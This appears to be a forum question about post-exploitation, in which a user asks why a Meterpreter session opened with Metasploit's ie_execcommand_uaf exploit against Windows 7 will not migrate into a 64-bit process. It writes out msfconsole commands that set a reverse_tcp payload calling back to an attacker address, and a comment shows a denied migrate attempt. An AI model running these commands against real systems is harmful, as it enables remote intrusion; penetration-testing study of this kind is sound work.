1

How to migrate a meterpreter process into a 64 bit process?

When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit process.

msfconsole
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.0.2.134
use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.0.2.134
set SRVPORT 8080
set URIPATH /
exploit

Please let me know why it is not migrating to 64 bit process or how to migrate to 64 bit process.

Target machine is Windows 7

  • 1
    Have you tried specifying the PID to migrate to? I don't see any details on your migrate post module in the commands you've provided. – David Jan 14 '18 at 21:51
  • yes i tried to migrate to specific PID, but i got access denied.4076 2648 notepad.exe x64 1 meterpreter > migrate 4076 [*] Migrating from 1356 to 4076... [-] core_migrate: Operation failed: Access is denied. – user168454 Jan 23 '18 at 17:57